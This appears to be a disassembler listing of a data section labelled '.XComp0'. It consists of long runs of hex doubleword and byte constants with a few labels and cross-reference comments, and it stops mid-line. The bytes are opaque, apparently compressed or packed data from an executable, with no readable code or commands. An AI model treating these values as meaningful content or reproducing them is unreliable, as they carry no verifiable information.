33CCB644h, 73840165h, 60E560Fh, 0E93E41D9h, 0ABF416ADh dd 899A0002h, 1B18902Ah, 88E88330h, 0F35E38h, 9B3D4C93h dd 12CAA169h, 480C10h, 0E91C0420h, 113BDBFFh, 43F8851Dh dd 2787403Ch, 1BCDE35Fh, 0C23FC844h, 77750009h, 24B4A3BFh dd 0AB7FF6B3h, 82C48F00h, 6FAF0AF9h, 0CAEF0067h, 3C45231Ch dd 8AE60CC5h, 139E2700h, 969DA5F5h, 0E0977A3Eh, 90E250B7h dd 46B10035h, 3C389907h, 1F001878h, 0B7026319h, 4CCEA2AFh dd 0E8032892h, 0FD77EFA9h, 2AA4D08Fh, 4548FA04h, 5659002Dh dd 1D76F099h, 6F60068h, 55BC966Bh, 87006A91h, 0F518B45Ah dd 0ED508AAh, 0A93BDAD2h, 99B9E660h, 0F090F83Eh, 6E025700h dd 0D284AC23h, 8EEF3FE3h, 4FA0B780h, 8BF5B050h, 7AC36900h dd 0AAC7585Dh, 0C1E32473h, 3E2900DFh, 9A11B579h, 677D5901h dd 1CA607EEh, 1CFE4ECh, 0D3E1B238h, 0E07E990Bh, 0E300C040h dd 7DFC14D5h, 1B53DD0h, 9D536EE0h, 24467839h, 9C00E2D8h dd 33477736h, 3FEC4D7Dh, 48FA854Ah, 1725075h, 0F2FC615Dh dd 4054674Eh, 690E20B7h, 34E22826h, 0F7129828h, 3D006238h dd 86336DD9h, 40900D0Fh, 0B6DE2Dh, 0D06E7AC4h, 0B0BC2228h dd 2EB1A509h, 0DBA4030Ah, 440991FEh, 40763F8h, 0B2B9318Bh dd 0DB49194h, 0FE1F6055h, 0DACC7C03h, 0CD85AB0Bh, 8CB55FC0h dd 0FBD202D1h, 0DB3CFD8h, 0E7A06860h, 0B68A0100h, 0ECE47A62h dd 35CA0067h, 9D60DE07h, 8D1F5971h, 47400216h, 0BB0FDB9Fh dd 2AD0C0E0h, 0A250DDC2h, 2BA9F905h, 0DEC3E814h, 0F80C466h dd 9DD3A4h, 462FAB6Bh, 2C030E7Ah, 0D8D73830h, 0F6A4D8D2h dd 0C9D11268h, 5BA84974h, 66CD7C00h, 0E201C5B2h, 26D4257Ch dd 0D7E31A57h, 69E50EC0h, 0E1131F9Ch, 318F3EB1h, 9A07B7FEh dd 0C0B610B4h, 8900968Fh, 0F0FB88D8h, 3083462Dh, 0BA283FEFh dd 81EC711h, 6E1E5F19h, 0CC50CD40h, 7389A8Ah, 0D9424FC4h dd 9083B0B5h, 6C0E331Eh, 0EF40780Dh, 6B1C6121h, 0A8805EFEh dd 83D58965h, 0B01A6F8h, 42ACC981h, 0C9808D7Bh, 0E6873450h dd 720A4178h, 0F06A09C1h, 5B6CE400h, 1282CAF7h, 4B25AFF3h dd 0B200B81Ch, 6E8EE7C9h, 0AB588604h, 0CEE7CE8h, 0EAC033E6h dd 5A5FDE02h, 64019244h, 792E1DA8h, 0FBF5C011h, 0D5A80FE5h dd 24022177h, 3EAD3D86h, 2BFC80C3h, 370027Fh, 8DC246E3h dd 91A909B2h, 403061BAh, 6F2C1D64h, 0C5F5E305h, 738772DAh dd 0FBB8F170h, 6C8A047Ch, 80E13782h, 0B25F7EE8h, 579E1000h dd 1DB30374h, 7DE0C366h, 0B89B871Ch, 9DD7C0D5h, 0CE001E63h dd 0D0668CFh, 3D91583h, 0B07D9C3Eh, 0AFC001EAh, 8200A13Dh dd 23BAA2BFh, 0FBB330h, 52C26480h, 3CF47D91h, 0BDD6E00Ah dd 2D02A406h, 801CB8E6h, 0DBCCB3B5h, 0AF1B0107h, 0F20604E3h dd 0D5AC4814h, 5CD01C24h, 0C8CC8B80h, 16A6A039h, 0E830F29h dd 0E40099CCh, 0EC28FDB9h, 19915130h, 762072D0h, 0BA4018Ch dd 0E0E67C63h, 85E880DEh, 865869C5h, 1E2A008Dh, 5CF98F1h dd 9C48C978h, 0D4AF0028h, 8AF536B8h, 3165005Dh, 0EF3AE5C6h dd 0E8A31D67h, 790C34B0h, 0E4D958h, 60F759DDh, 362630Fh dd 231F266Fh, 210FEB1Bh, 800918E4h, 1936D80Fh, 3BA0E045h dd 0CEA4ED82h, 720D02ACh, 24C0DA3Dh, 8A482520h, 0CB931672h dd 62325400h, 0FEA052h, 67CFA580h, 23770816h, 0B4F0C5F2h dd 43657402h, 0E0CDCE2Ch, 0F52859Ch, 497ED418h, 3EDE58A0h dd 0CF002273h, 875663CDh, 3C5CB8Ch, 165D8445h, 1A5C296h dd 925E6EFDh, 40BC3115h, 97EB758Fh, 433DC700h, 25738C76h dd 0D8C0009Ah, 74820C39h, 0DAEE2326h, 733FD0Bh, 0D2007FF4h dd 3DEFAD2h, 0F501E970h, 328B9018h, 58207E72h, 5F9500F0h dd 1687F1FCh, 0EB075781h, 0B1541431h, 6EE01EB7h, 0C8B2A5h dd 0A271E8EDh, 0F469D1C9h, 6A13AE1Ch, 0B79EB0C0h, 1E6D293Bh dd 15E8B66h, 0B905CD09h, 69518280h, 8F6FDF92h, 0EA813EE4h dd 0DBE2394Ch, 22E54421h, 0B5BD4h, 78D6FAA1h, 95CEB061h dd 7B50263Dh, 3E3BE8B0h, 82F200C8h, 499E252Bh, 551400DAh dd 9AA51AABh, 3948928Ch, 0E020322h, 0F835CDF0h, 27A90E1h dd 0C34575ACh, 0ED805E14h, 6B92DC4Fh, 28295A00h, 39077C73h dd 0A2B800C3h, 492714F6h, 200793Dh, 0CBF9B5CDh, 0C1AA84h dd 0D2A81304h, 6310924Ch, 9E8A7500h, 19DA0C8h, 1A310012h dd 7C458632h, 8AFCB3BBh, 0F6C8C300h, 0B7FBB42Bh, 0CDD61C33h dd 5E5C65h, 183C4737h, 140EB1C2h, 4FD37D70h, 0DA4F4125h dd 62F21E5Ah, 0C28A6076h, 949A00A1h, 0FC16CA59h, 610B2C6Bh dd 7E48415h, 6760A77Ch, 72B0557h, 0F1664EBAh, 0F6B990F9h dd 7A1EE434h, 72D61E3Eh, 1627A841h, 0D424AC7Bh, 1CB1CECh dd 0C900BD4Ch, 64F5CC8h, 9E006751h, 581B638h, 840F39h dd 0CF286872h, 8A21421Bh, 0D17DE51Dh, 493446C0h, 1C6B86Fh dd 3DAEEFF9h, 6E16D95Dh, 0FD10C618h, 0C6130076h, 85C30B3Eh dd 0F412910Ch, 400041Fh, 9FA25147h, 0FAA00045h, 0ACEF4296h dd 0F2070B91h, 5641A1F9h, 195A9E30h, 537601B8h, 0A713BB26h dd 50DD206Dh, 1FC02500h, 0FAB16FA1h, 0CDBD0163h, 77784358h dd 8FAFE8ABh, 0EB9F9D00h, 0BA469273h, 0B0861EE8h, 562E8098h dd 9C52E1F0h, 0A01AB900h, 0C7346977h, 3B1F0B30h, 6C018ECDh dd 74CF7B33h, 0C2408ABCh, 0DB600114h, 0DEFEF392h, 0DFC6F4E0h dd 0AE001DF0h, 0FA9CAA22h, 22B3967h, 662AC918h, 60601FD1h dd 2700B315h, 91D40643h, 316AAD57h, 11708414h, 8A4C70DAh dd 4A18CCE8h, 7C107EBAh, 0CFB200BFh, 65532790h, 0AA0051F0h dd 6B2638A6h, 0FA0563h dd 0A8047B4h, 0F8EA4D39h, 52107200h, 4616E1EDh, 296C00CBh dd 670504D0h, 0E24C21E0h, 0BB360090h, 8C192E5Ch, 3D1C07F6h dd 4F33FF1Eh, 99A2B603h, 0C07887E4h, 0CB2EAC5Eh, 0D2768D1Dh dd 0CE07109Eh, 0F7E0806Ah, 3C015C95h, 0E000FC0Dh, 0C8351C8Eh dd 4F00B7C7h, 8CE2F267h, 48AECFC9h, 2802040Eh, 0B196025h dd 9EEE0300h, 0C5090094h, 0A346ABB6h, 0F009698h, 0D1055EC6h dd 0AFE87h, 8225AA32h, 97236722h, 0D4663E00h, 1DBE2779h dd 6878038Bh, 0F673768Eh, 3116D0D0h, 850F9400h, 0B5D67061h dd 4EEB008Dh, 1D30FEA5h, 0E8F71F9Fh, 0A401E9BDh, 64AD3309h dd 0F5E8CD5Fh, 0D9760290h, 166E1AC9h, 0F8A6A961h, 2B3DC6B5h dd 0CBA008Fh, 0FFEDE1A3h, 1F670310h, 25FEE070h, 405F7AD1h dd 0BF78CCE0h, 200A1B8h, 0CF1DDEB4h, 4D967Eh, 37638AD6h dd 5BFEFA53h, 0E35E7400h, 0F7878F06h, 2AD7F64h, 1C45F89Fh dd 0F1E0926Eh, 150233D8h, 0B7C9C693h, 0CC436074h, 8BF1007Ch dd 8969686Dh, 1600B30Ah, 1A44A24Ah, 0E26E00Eh, 2777211h dd 7DD1BBC0h, 571E9F20h, 1CC0190Ah, 0C4FD593Bh, 0A77C0Ch dd 0AA8EF1C6h, 0AE2552CAh, 9300CF7Ah, 2B55C440h, 0E65373h dd 52C1AF8Eh, 7A1D323Ah, 0EEFF651Ch, 8C2E3780h, 0F66FF1h dd 0D071D3E7h, 0A1AB5FC7h, 0C9C82650h, 0D9D61D1Eh, 2BBDDD40h dd 0E8A72890h, 0E2630113h, 0D4B969E6h, 6CC1FCADh, 9D00EEEAh dd 3840E97Fh, 0A203E2h, 16D2AAD5h, 126A72FAh, 0D9058C00h dd 3FCBA45Ch, 1EECF204h, 0C1539528h, 9B4CC187h, 6530C4C6h dd 0ADEF3D00h, 0EA296F5Fh, 0DA210779h, 0F081A03Bh, 0A2FFCAA5h dd 0B7FA2002h, 0E02D3796h, 73F94C41h, 834002D6h, 0D586E658h dd 0D9DB80FFh, 0C1C085h, 10F90C1Eh, 0A1753182h, 61D8B300h dd 30A0070Eh, 0B4AC245Ah, 0F3EC003Ch, 411B5C11h, 8BD7DB01h dd 0AFE49998h, 544DD840h, 91F101CCh, 0EDAA040h, 0F775E036h dd 2A08DF00h, 19E83BD6h, 0A71D1C65h, 0BD210030h, 0D8F899C4h dd 0D2BF4D00h, 2DF65CF7h, 0D6F5076Dh, 0A096E934h, 528CB776h dd 2ED8FF60h, 3773739h, 5AEAB043h, 91B0B260h, 410A87E1h dd 0D0F27F48h, 0B07ABF00h, 1905F3h, 0A62E4EA9h, 0F02B984Fh dd 0E8749B36h, 0E0AC0094h, 6435D5F9h, 41002909h, 0CF2C1413h dd 5A431h, 63B1DEAAh, 2512501Dh, 20387577h, 0DAF1809Bh dd 3639A28Eh, 505C17E6h, 8FBF00EFh, 0EE2F54CBh, 0DAD30A00h dd 0F95BAA66h, 1340FF1h, 13A03Fh, 0FC3981A3h, 0B700DA4Eh dd 8C9BABCDh, 0F7AD52Eh, 8886C2EFh, 0CAEB0840h, 6C909756h dd 2DD1870Fh, 9144007Bh, 8180BAh, 0F754FAAEh, 28C97826h dd 0DEF02700h, 9FD2494Ah, 43E802h, 3DE2F941h, 36284B56h dd 0E9C91400h, 5819B893h, 169851h, 3FB069E1h, 1534E33Bh dd 0D8E42700h, 8E47BCF8h, 1F700717h, 2482CF65h, 44B0808Fh dd 1E001C7Bh, 0F28956B5h, 0F572DBh, 84F740D2h, 0A6917509h dd 0DCF0CB28h, 702AC200h, 680FE7A2h, 16AB04B8h, 0C0D1F5A0h dd 0D8F6B060h, 0A93D0A0Fh, 181F8014h, 75085F1h, 0E089036Ch dd 24915069h, 6B492119h, 84E70254h, 406DA99Fh, 0E48530EDh dd 991100DEh, 836A227Ah, 0E524919Ch, 2C006014h, 0C7B336C1h dd 284C00AEh, 4A217010h, 20C0CF1Ch, 0FE061FF5h, 0EC3100D8h dd 7DB2CC94h, 900ECBE0h, 432C30C9h, 0D012D9EAh, 0F4FEE6h dd 0DF11F816h, 0B5864560h, 4DA9AC02h, 0C0A5CF9Ch, 2C712C7h dd 0F37E0A84h, 686273AAh, 0AE79A540h, 41CFA800h, 7466D73Ah dd 914D3D71h, 0C75E7F80h, 0E3408E35h, 0ABC2A700h, 0AA24BB5Fh dd 9653ECBh, 3FF33C78h, 0C367CD1Fh, 24EE16B9h, 6064F6A8h dd 6DF5031Ch, 28AC640h, 0EFB44FCh, 0B63C846Ah, 4D46E201h dd 5A9AD088h, 29D1DB00h, 0A55DF0Eh, 0E96C0784h, 11391D91h dd 70638CD2h, 0D800C236h, 58425B13h, 0F7DEE3Fh, 2989B754h dd 45F716C0h, 0EB032004h, 7AFF9C38h, 80ABF24Bh, 0AF37DDC8h dd 6FB405D4h, 0C0C572F5h, 0A6C9F318h, 2F3E0B00h, 0AC0F7328h dd 0E42600A4h, 5121CDDFh, 8FE40ABBh, 8728E800h, 254FB8EFh dd 5EB400EDh, 3298D4F9h, 0B100C814h, 1F1AE511h, 8E2DDCh dd 91E8718h, 0A682E1DEh, 6BD05000h, 0D2CB7445h, 76970039h dd 0C840C4FEh, 0EDF9BDD9h, 6FDBFC50h, 60EB9600h, 2C4A2682h dd 2AD30A2Dh, 81EC5Eh, 16A7A810h, 0B7503CE2h, 9100C3C8h dd 37BD433Eh, 7AC7CCh, 728BC9F7h, 0D75A8D85h, 0ADCC800h dd 1558C071h, 0A03AF410h, 0B509E7h, 85D10D3Fh, 9ACE9423h dd 11AF9000h, 256FAD56h, 364E0037h, 2DF4A305h, 397FDA30h dd 0D39C2700h, 0D8E7BCEAh, 0DC5B006Ch, 667D749Ah, 8207700Dh dd 494D5CA5h, 5D4A1F80h, 80A4A054h, 3D740084h, 896FA0D6h dd 770506DFh, 0D1790DD0h, 0B2CBA000h, 1E1BF447h, 8EE70E69h dd 63C0D589h, 6C8804BDh, 2FA6590Eh, 6A00B379h, 570334EFh dd 0E25E0907h, 0C9857848h, 0C08C1F8Dh, 429BBE46h, 997E0E9Dh dd 0EFBD5C00h, 0DA237CF1h, 1C72096Dh, 0C25810C8h, 181D8103h dd 980C4A89h, 6A63B5h, 835219A3h, 80E03E8Ch, 9799400h dd 0BF34A0C2h, 0A2A011Bh, 0F6607177h, 831DF44Ah, 0A64BE300h dd 5B94EFA9h, 3C3E008Eh, 3FD4E9D7h, 3B02855Eh, 0A995C31h dd 5A6DE1B6h, 2E488D4h, 66C02CE9h, 0F482B31Bh, 0FF63DF87h dd 4FD117B8h, 54113701h, 12C6D0DAh, 3255720h, 0AD2238D5h dd 0C9A8A6E0h, 56302044h, 875C40B1h, 11B80783h, 0F0CBCEDBh dd 1404EE55h, 3D979848h, 23450097h, 1A7E6957h, 3C6FFEC2h dd 0FE8E40CFh, 34E0D40Ah, 0C7F6C12Ah, 8C0558F8h, 0C27D5CE0h dd 3BD2CC3h, 6123BBC0h, 6800A3F1h, 1081CF28h, 0EAD74203h dd 31F539D1h, 0EB15A683h, 0C1F0BE5Bh, 7700C930h, 2888E233h dd 24F811F6h, 0F81960h, 0E79B51C8h, 78F4FD89h, 0E058B960h dd 22062A9h, 0B8EA31B3h, 1840D0FBh, 932E3917h, 60560CFh dd 80AEDC0Ch, 4705D4ABh, 0ED7FC71Ch, 0D5CB5080h, 4D1299h dd 0D336FC2Dh, 0AC10304Ch, 1AD1DA00h, 51C162E2h, 53CE07FEh dd 90E957FAh, 3CE8EB6Eh, 1A1F7FECh, 64C06D04h, 5C5933EDh dd 0AA4B09C3h, 6D800718h, 1C5755E6h, 46170D03h, 0A0861FEDh dd 0D0D5D4h, 0BB983915h, 8BB50619h, 0A4843050h, 621D7200h dd 0C3150D4Eh, 59E901CDh, 3636588h, 66532036h, 9AA3C500h dd 0BA3F2D5Eh, 0F8E76002h, 0AB91726Ah, 0D180CC00h, 6B36D0FDh dd 2EBC0056h, 0E7D54237h, 7D4CB96Eh, 211D0EACh, 2D013260h dd 0DD6D92F8h, 108C5CCh, 568F4984h, 0D4394B1Ch, 6F136BF4h dd 0A4002DAEh, 3B8C9E6Ch, 4E5807D6h, 2C7D8Bh, 5CFB645h dd 99DF4800h, 13F964DAh, 6CB11CD1h, 0B0BF407Dh, 0C84DED38h dd 3F224A00h, 0C5E9789Eh, 3CF7000Dh, 0B8F9FF80h, 0EB019DDBh dd 21287CD1h, 0DAE84309h, 0A6540493h, 310CE75h, 0E8F2F91Ch dd 0D1C7F0h, 952C6AF7h, 0DF4A90B2h, 1D665700h, 5E0C3882h dd 0FAAD00D3h, 0FB552975h, 7200F652h, 4CA90AC6h, 87FF43h dd 0DCFED328h, 13597329h, 6D0FB900h, 22684B1Bh, 3C2FF49Bh dd 0D13F447Ah, 2E12DE80h, 57B987Fh, 587E2600h, 0FE5B04E6h dd 1990009Ch, 0F78165D1h, 44036E2Dh, 0CA9648AFh, 0B01DF06Fh dd 0B71C3B0Bh, 3ED7EF00h, 0E542A6F7h, 0D2C8CE00h, 5EAF0A52h dd 4C5D00D0h, 0C380C95Ch, 0C203B1F1h, 68879EF9h, 0AB4F984Dh dd 277F003Bh, 7ECAD5Dh dd 0C4018DC9h, 6B1D6CF1h, 43E41574h, 0A2380372h, 0A5FE8928h dd 0CC9A1880h, 0F8C1A30Bh, 3F7380E3h, 935162h, 95DD2DA7h dd 12AD69B4h, 1C2B4700h, 1F0BB72h, 560008Eh, 2F102352h dd 0F10F178Ah, 0E090F226h, 55D4EA87h, 0E87B00B2h, 0E94B23B4h dd 8AFEC1E7h, 801ADF3Dh, 10D70972h, 731E92h, 0C6E33822h dd 0A2DE8F91h, 0C73B6D07h, 0E50043F5h, 7FD03Eh, 4722EAFCh dd 2D71E328h, 0ACB8634Eh, 0FDEC570Fh, 55326400h, 0FF020EEAh dd 0B635D993h, 49116099h, 20544CE0h, 8D71ED00h, 0C4B7D5A3h dd 803F733Bh, 0B0B6F417h, 387A23h, 0DC9CCE99h, 865912FDh dd 7EC04700h, 1EFB90F5h, 216F48D3h, 0BD9A110Eh, 3F53D280h dd 0D913AFBCh, 0F900FA6Bh, 3EA7D9Fh, 2B5100F9h, 128CA3B7h dd 0F307E00Dh, 0EB01AA9Eh, 0C71038C0h, 87660125h, 0AC33323Dh dd 0FD040D4h, 0D300BDA6h, 29D6CA39h, 76BCD93h, 0D25990B4h dd 0DAA80E9h, 70060B95h, 0B71A6AA9h, 0EDBEA010h, 0CC40000Eh dd 31596308h, 0E91F298Ah, 97C04BF2h, 7F56C675h, 388D02D4h dd 912D76E4h, 950ADE80h, 41000B12h, 4A975C7Eh, 2F403Dh dd 0E727B5AEh, 2EE04323h, 9C000EF0h, 67BBB985h, 78A1D3h dd 2FA4030h, 6B6ACEBCh, 6E948804h, 0ED812CBBh, 0F5FCEA57h dd 0CAD73012h, 49BA0368h, 80FB3439h, 0A755029Ch, 3BB782Eh dd 8114A1F2h, 0E9E7E868h, 0A67C2480h, 11C089C9h, 569F5C0Ch dd 1F5400AEh, 5FFFC27Fh, 0C5019B82h, 0E2B09E05h, 0E9FF6442h dd 0B4DCCDAEh, 0B9B80E81h, 0DDC70BCFh, 37C8803Ch, 1D006DF5h dd 0FE7BC005h, 789501h, 807965FDh, 699F1110h, 0FCE062EAh dd 4CD60A07h, 9D004B05h, 146E39C1h, 0B1255D5Eh, 76556C00h dd 77FAB8D8h, 19C8E803h, 0F8215001h, 9F27378h, 7C3BBC15h dd 0D8390055h, 3A2BAE97h dword_534544 dd 5101EBF3h, 865CA05Eh, 719050B5h, 0A200C362h, 8A598CA6h ; DATA XREF: .XComp0:00453224o ; .XComp0:004532FCo dd 4CE9B652h, 3D00275Fh, 0A0AEF739h, 6F31A1C2h, 4C21D0ECh dd 0A024E2D5h, 0B887569Dh, 0E84EE00h, 0E9BB260Bh, 9CDE4E00h dd 785BDFA5h, 6970087h, 9E1E8FBEh, 0BD000422h, 7FD49617h dd 0C4FE63h, 0E129B1D0h, 532D934Bh, 68F13603h, 0F6F36BD3h dd 0B3480011h, 0C94CA1E7h, 0F0EF5A7Ah, 170EEB3Ch, 7216ECDh dd 35F041C8h, 0E006C1h, 0F8C71ED8h, 746D9080h, 349CD600h dd 936C1A66h, 0E77D00EBh, 25086F76h, 1F034920h, 0D6974BFBh dd 28DEE0D1h, 9ECEAB4h, 896F21A6h, 60EDF986h, 0E0FEF90Eh dd 138FBFA8h, 9366C0B6h, 6039Bh, 0DB8FFD83h, 86D3A556h dd 7841601Fh, 676D5240h, 0F31ABBh, 88B1320Ch, 0E5A04F01h dd 92E32400h, 9FD43D0Dh, 0A9DE3F73h, 80A5FA1Dh, 14350BAEh dd 8E3E2BB1h, 1D8D803Ah, 6D271093h, 416400CDh, 2F07D48Ah dd 0BD007A67h, 7CAD0AB5h, 9719C7h, 6C143C91h, 817B9A47h dd 9B35AA09h, 0B15480F9h, 13DEE3FDh, 8D1DBBh, 490E39BFh dd 5C00E841h, 8E15C6D6h, 1BBC5A4h, 0E03A75F5h, 0F090F93Dh dd 8B00367Ch, 191B8095h, 3E4E8354h, 0C000D227h, 10A35667h dd 80DDF750h, 165B6841h, 2181772Bh, 6CC2ADA2h, 95FEC08Eh dd 3196169h, 84EB47C3h, 0A6F9A0C0h, 8C90A40h, 1ECB4ADh dd 68BFD893h, 0C7EDC897h, 3B64E900h, 0B8CD69F5h, 279373EBh dd 0F2FEC052h, 0DBC49900h, 3053B6h, 0E53A20F1h, 771CE459h dd 0BE222100h, 0FDC3AAB8h, 0B4E10001h, 9AC4352h, 2500EA50h dd 0B34B1A6Dh, 28A9FAA7h, 0D884EFh, 67FF7756h, 5C3C38A1h dd 8C942100h, 0B05E1899h, 8AF60037h, 0F71B9888h, 3B07E2BCh dd 70CC2E5Ch, 5AA6E800h, 0AB1400DEh, 7C25DCB4h, 0BB3D51A4h dd 5CDA80B0h, 161FA007h, 727F0071h, 39D81455h, 0F1E958EFh dd 4160800Ah, 0D27FD3C4h, 803D0098h, 0ABC08202h, 2D0F85CBh dd 0C0B07518h, 302E3551h, 0D5290048h, 0E2A4AA17h, 0F8728878h dd 2766CD01h, 3B69D2B4h, 0B71C20h, 7484A721h, 4F807F89h dd 0EA2D3100h, 59A9D16Ah, 577A1FD6h, 8328A1h, 40A5C9C0h dd 5E28812Ah, 606BB400h, 327FC5C2h, 0C38A0010h, 0B11BC43Dh dd 0BB01FA79h, 0EC02218Bh, 0E7D80F5Fh, 319700C3h, 1D85ACE6h dd 0D509B0F7h, 0A58FCC7h, 7C00CFECh, 2BB74D25h, 0D65F1F0Ah dd 5B6E0028h, 1B04DCC8h, 4CF3A619h, 5CC57720h, 0DD05FCh dd 2C71D438h, 0A9AF8BB2h, 0A1A4151Ch, 68000E92h, 0E957507Eh dd 7DF0BD22h, 0EBEA7A71h, 461F88EAh, 56C07F5Dh, 3C911EAh dd 4620FC0h, 0D54745ABh, 0D5E400Fh, 580769B8h, 0A0E555EBh dd 24C07FE4h, 46CFFFDh, 0EDA40503h, 75D88013h, 0D003223h dd 0D23ADA86h db 0BAh, 0B2h, 0Bh byte_534843 db 50h ; DATA XREF: .XComp0:00453154o ; .XComp0:00453164o dd offset dword_4FFC54+80h dd 0CDB68E89h, 0D7C04577h, 36C17400h, 15B4F1F6h, 9ABC0078h dd 3AA50E60h, 0FF609650h, 1BC52E38h, 82EE0027h, 0C389BE01h dd 0FB002870h, 4BE9CC34h, 38CDF9h, 838F712Eh, 0BDC5A113h dd 0C9B9F700h, 122B55DCh, 0E4A700D1h, 0AC9563C3h, 0A60AA84h dd 80C6C458h, 9D7A09B3h, 3807663Bh, 0DAB4F0A2h, 890E65C2h dd 83432BCCh, 0C42A3370h, 0AED728C0h, 5B6F0034h, 0E0184150h dd 1403F84Eh, 59035FD3h, 3E43D8FDh, 4226005Ah, 8EDAD1FFh dd 0D490104Fh, 7372D600h, 0FAA9C6EEh, 36C5004Bh, 9B712844h dd 0A40A8FE7h, 9C7A03DEh, 0A5848280h, 676C9Eh, 0F0D0D58Dh dd 0A922ED94h, 0C21C631Eh, 691A28B0h, 7EBB079Fh, 8E0E6DB5h dd 7AEA99E0h, 7898F8CEh, 35F6CB0Eh, 238860C0h, 1E1FE452h dd 0F53877h, 432D60CFh, 1C03F419h, 0D6EE4B18h, 245DA184h dd 678AC540h, 0A0FA9Eh, 68DE8352h, 0D21508E7h, 0B4F5C00h dd 972CF89Dh, 6A200E2h, 8E7E7CEEh, 0AE01705Eh, 0CB688C58h dd 14202FFAh, 57D0EB4Eh, 0B00B5004h, 22663862h, 9D637B09h dd 14EB8C80h, 0C30C5F71h, 107EBEB2h, 51340020h, 771D8195h dd 1E04C7CDh, 8231C6C3h, 0D267B880h, 0D7FD076Ah, 0E7C1FC4Bh dd 8AECC0E2h, 0A51FB6A9h, 9F7B16FFh, 0FB8E6B61h, 7F7CE014h dd 24DD8058h, 0FA09FBAh, 5A4F019h, 720112A3h, 75430EAAh dd 5987F0h, 4108B85Ah, 5EBCE3A8h, 0BB5B703h, 8861E9B2h dd 7A4EE4C3h, 6FF500A4h, 57EDBE66h, 8B7A77C8h, 25018A09h dd 9DA00079h, 0B2FCDA0h, 0A18048F8h, 0E6638000h, 0E7B8438Fh dd 0EF15FE0Fh, 0AC07CE3h, 22694151h, 7C3748EAh, 0D9850D00h dd 422D2667h, 3C0051B0h, 2440D13Fh, 0F877B79h, 28430CEh dd 1000D909h, 3954BAFBh, 26000A79h, 7A0DB32h, 0EEB0E803h dd 984801F6h, 1091E118h, 0E6A9DC31h, 5D6E4B03h, 0D0B09BDBh dd 79936D4Eh, 13A00514h, 90F975BFh, 0FE559E0Ch, 0B46A9600h dd 0C60BECAFh, 0E09107CDh, 0E036D1DFh, 23B55F58h, 110075ECh dd 0B1068934h, 141376h, 6CACBB7Bh, 6F411EE3h, 0BECD2200h dd 0F4F9E510h, 4F5007Ch, 786729F3h, 0C37435C8h, 0C6207100h dd 0C785D66Dh, 0FA5B0040h, 1CF35A55h, 937BCC9Ah, 6D0BD01h dd 0D6F843EAh, 406F2180h, 14B8E3CDh, 7E872E00h, 6B47D0A7h dd 0A50C182Bh, 8E952950h, 54B21C90h, 0A4E82C17h, 4BA21040h dd 9CB77A6h, 0AAFA4F4Eh, 948C3501h, 4CE4E829h, 968EE4EFh dd 0E7A6380Fh, 921FA4Dh, 8B3A0108h, 31BB2BB9h, 0FA8D04F9h dd 0C018C97Dh, 0A8227F10h, 0BB677B90h, 63820211h, 13B16078h dd 18249AC2h, 99086D47h, 0E200D989h, 0E38A3BB9h, 32012BFh dd 5B0F56B8h, 0B2B08B71h, 8005243h, 0A81A7A62h, 0C1120353h dd 14C5C648h, 0D38007DEh, 0E3BC36Eh, 35FE7FE1h, 759046ECh dd 38524028h, 0E0A22500h, 0C3F63BC5h, 1049CA11h, 0E3D18148h dd 0E9709BB9h, 48CFDC5Bh, 4724F91Fh, 91DAAE00h, 6F1AFh dd 4F12C3D5h, 0D1EC26D8h, 0E11EC407h, 80DBBDCEh, 7BD3AF77h dd 101603FAh, 36936B98h, 0E77844C0h, 3972210Eh, 2E3A60EEh dd 18FFE9h, 0C402FE6Ch, 0EBEADFCFh, 0B201A57Ah, 52346392h dd 6AE46B03h, 0ACA9CAA8h, 0FB15FC04h, 0D456ABh, 467977A1h dd 0F5F2511h, 0D2EBFF7Ch, 82A79121h, 0F27F068h, 0D1EADD1Fh dd 94077B1Fh, 0CF6B5Bh, 84C101E5h, 7759C1D5h, 84076940h dd 43172D51h, 8F06C740h, 28C1C4B9h, 5F9B3D5h, 0E08AA443h dd 755D32DAh, 2F2D070Fh, 10468223h, 9115D390h, 88B9A669h dd 0BD186057h, 185631D1h, 10C7959Bh, 89090B7Ch, 2DBB33Fh dd 98467024h, 80221470h, 0A93A2033h, 0BC570353h, 220A0354h dd 790FE7E8h, 405118D0h, 0C3CE2D12h, 0E0882206h, 6D07810Ah dd 51C04C0Fh, 3D199184h, 0A18DC0CBh, 0E4A9FE5Fh, 14A09B52h dd 89095677h, 21DA9F8Fh, 0A8F17C78h, 0C66C3886h, 0A00A28D7h dd 0F82E66EAh, 50750448h, 7C61835Fh, 4575ED10h, 20470C21h dd 7DD15C31h, 20E6D5h, 1E200B5Fh, 0E3864ACCh, 0B9222946h dd 0E4972216h, 3F113442h, 8AD2142h, 890E11Ah, 5F4EFF84h dd 45D9C479h, 373E1DAh, 7F0AC8DDh, 5A8E00B8h, 0B66E5CEh dd 7900F241h, 65E6CD28h, 0F0AC7E0Ah, 0F3630E9Eh, 0C3E3AFE3h dd 0F4C9A013h, 0BB237016h, 0C58ADB00h, 8FADF038h, 20B1E33h dd 4E0D8012h, 4895A3D2h, 23D86203h, 0C01AB06Ah, 0E0EF25h dd 36384728h, 0EAC479CBh, 674B9900h, 0A13D6217h, 6E6E0h dd 5402C764h, 78E01A2h, 80C1A73Ch, 9AD3FA49h, 7B7CBEh dd 2AA809DAh, 5877AD48h, 0A0D04500h, 18306301h, 6A983B85h dd 0A928B901h, 0EC11BAB3h, 5B007F86h, 34A50B89h, 0C9436Fh dd 0E48F41DBh, 787A8521h, 14001973h, 7BB4F707h, 76BCC0F3h dd 7EF20Ah, 0D9FF7513h, 33156534h, 4A000BF2h, 118F528Bh dd 3A40AE87h, 28FCB64h, 33A72506h, 0E1331E9h, 0BD182469h dd 3EC0F901h, 4F61A4FEh, 742559F4h, 0DFD51E1Eh, 0FFD2C024h dd 71ADEDB8h, 34D1FB01h, 0A058F56Ch, 22C370h, 0D9120485h dd 4D7A41C1h, 9E5D312Ch, 2769CA00h, 34961B7h, 64028A57h dd 0AB981735h, 4260808Dh, 8E520690h, 50A337DAh, 0BF537010h dd 57006ED0h, 10FCF997h, 76399h, 7244B334h, 59CE4C67h dd 78C1BF24h, 2795BC00h, 0C38BB0h, 0E23C0D89h, 3948F4D1h dd 4AFC291Dh, 20A90640h, 7CCDCFBDh, 0AFE0584h, 0CE36Fh dd 7C7261E0h, 86001650h, 96D54552h, 0E043776h, 0BDDCA84Ch dd 0E44D6Ah, 0FF719FDFh, 0BF0057B6h db 5Fh byte_534E45 db 0CFh, 0C4h, 9Eh ; DATA XREF: .XComp0:00452E9Co ; .XComp0:004531C4o dd 1EEBF83Dh, 3C2920D7h, 9387C880h, 494AB115h, 1F1128C0h dd 3059DEh, 5A52D1D5h, 0BC6B82E2h, 97AEF300h, 